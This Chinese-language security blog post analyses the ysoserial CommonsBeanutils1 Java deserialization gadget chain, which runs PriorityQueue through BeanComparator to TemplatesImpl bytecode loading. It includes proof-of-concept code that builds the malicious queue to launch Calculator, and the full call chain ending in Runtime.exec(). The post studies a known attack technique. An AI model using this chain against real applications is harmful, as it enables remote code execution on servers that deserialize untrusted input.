CommonsBeanutils链分析
2021-01-18   # JAVA安全

先看 ysoserial 中 CommonsBeanutils1 这条链的代码

image-20210118140118311

最后返回的是 PriorityQueue<Object> queue ,看一下 PriorityQueue 这个类的定义。

PriorityQueue类在Java1.5中引入并作为 Java Collections Framework 的一部分。PriorityQueue是基于优先堆的一个无界队列,这个优先队列中的元素可以默认自然排序或者通过提供的Comparator(比较器)在队列实例化的时排序。

简单来说就是 PriorityQueue 会对队列中的元素用比较器 Comparator 进行排序,而 CommonsBeanutils1 中使用的比较器为 BeanComparator。

1
2
3
final BeanComparator comparator = new BeanComparator("lowestSetBit");
...
Reflections.setFieldValue(comparator, "property", "outputProperties");

这里先放一放,我们看看 PriorityQueue 是如何反序列化的,

直接看 PriorityQueue#readObject() 方法的代码,前边就是将队列中的对象反序列化,最后会调用 PriorityQueue#heapify() 方法。

java.uti.PriorityQueue.java

image-20210118141333973

跟进 PriorityQueue#heapify() 方法,这里应该就是排序的代码,遍历队列中的元素传入 PriorityQueue#siftDown() 方法

java.uti.PriorityQueue.java

image-20210118141725380

PriorityQueue#siftDown()

java.uti.PriorityQueue.java

image-20210118142349991

PriorityQueue#siftDownUsingComparator()

java.uti.PriorityQueue.java

image-20210118142445779

一路跟到 PriorityQueue#siftDownUsingComparator() 方法,这里就调用了比较器 comparator 的 compare 方法。

1
PriorityQueue#readObject() -> PriorityQueue#heapify() -> PriorityQueue#siftDown() -> PriorityQueue#siftDownUsingComparator() ->  comparator.compare()

总结一下就是 PriorityQueue 反序列化的时候会对队列中的元素使用比较器的 compare 方法即 comparator.compare() 去处理。

而之前说到 CommonsBeanutils1 链中使用的比较器为 BeanComparator。我们来看 BeanComparator 中的 compare() 方法。

BeanComparator#compare()

org.apache.commons.beanutils.BeanComparator.class

image-20210118143341316

在 BeanComparator#compare() 中使用了 PropertyUtils.getProperty() 去处理传入的对象

PropertyUtils.getProperty() 是干嘛的?

一般情况下,在Java中你可以通过get方法轻松获取beans中的属性值。但是,当你事先不知道 beans 的类型或者将要访问或修改的属性名时,该怎么办?Java语言中提供了一些像java.beans.Introspector这 样类,实现了在运行时检测Java类并确定属性get和set方法的名称,结合Java中的反射机制就可以调用这些方法了。然而,这些APIs使用起来比 较困难,并且将Java类中一些不必要的底层结构暴露给了开发人员。BeanUtils包中的APIs试图简化动态获取和设置bean属性的过程。

而 getProperty() 的定义如下:

PropertyUtils.getProperty(Object bean, String name)
bean 是不为null的Java Bean实例
name 是Java Bean属性名称 (也就是方法中的getXxx(), setXxx(), 其中的xxx成为这个java bean的bean属性, java中的类成员变量称为字段, 并不是属性。
这个方法是调用bean对象中, 中的getname()方法

简单来说就是PropertyUtils.getProperty() 有两个参数 Object、String,比如传入 User() 和 “xxx”,PropertyUtils.getProperty(new User(),”xxx”) 就相当于调用了 User.getxxx() 方法。

在 BeanComparator#compare() 中 o1、o2 就是队列中的元素,this.property 也是可控的。这就相当于我们能够调用任意类中的 getter 方法即以 get 开头且没有参数的方法。

到这我们总结一下,通过定义一个 PriorityQueue 队列,并且设置比较器为我们构造好的 BeanComparator 比较器,就可以执行队列中元素的任意 getter 方法。

所以我们只需要找到一个包含能触发危险敏感操作的 getter 方法的可序列化类即可,ysoserial 中 CommonsBeanutils1 使用的是 TemplatesImpl 类(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)

TemplatesImpl 类可以加载自定义的字节码并实例化,从而可执行任意 Java 代码.并且它的入口函数为 TemplatesImpl#getOutputProperties() ,具体可以看 https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/#%E5%88%A9%E7%94%A8-TemplatesImpl-%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

写代码复现一下这个过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package payload;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
// 直接用ysoserial 的 Gadgets.createTemplatesImpl创建一个恶意 templates 类
String args1 = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
final Object templates = Gadgets.createTemplatesImpl(args1);

// 实例化一个 BeanComparator 比较器
final BeanComparator comparator = new BeanComparator("lowestSetBit");

// 设置BeanComparator 比较器的 property 属性为 outputProperties,因为最后需要执行 TemplatesImpl 的 getOutputProperties()方法
Reflections.setFieldValue(comparator, "property", "outputProperties");

// 实例化 PriorityQueue 队列,并且设置比较器为前边定义的 BeanComparator comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

// 将定义的恶意 TemplatesImpl 类对象添加到队列, 需要触发比较所以添加两个
queue.add(templates);
queue.add(templates);
}
}

成功执行命令

image-20210118152705398

前边说的 PriorityQueue 反序列化的时候会对队列中的元素使用比较器的 compare 方法,所以效果也是一样的,反序列化时的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()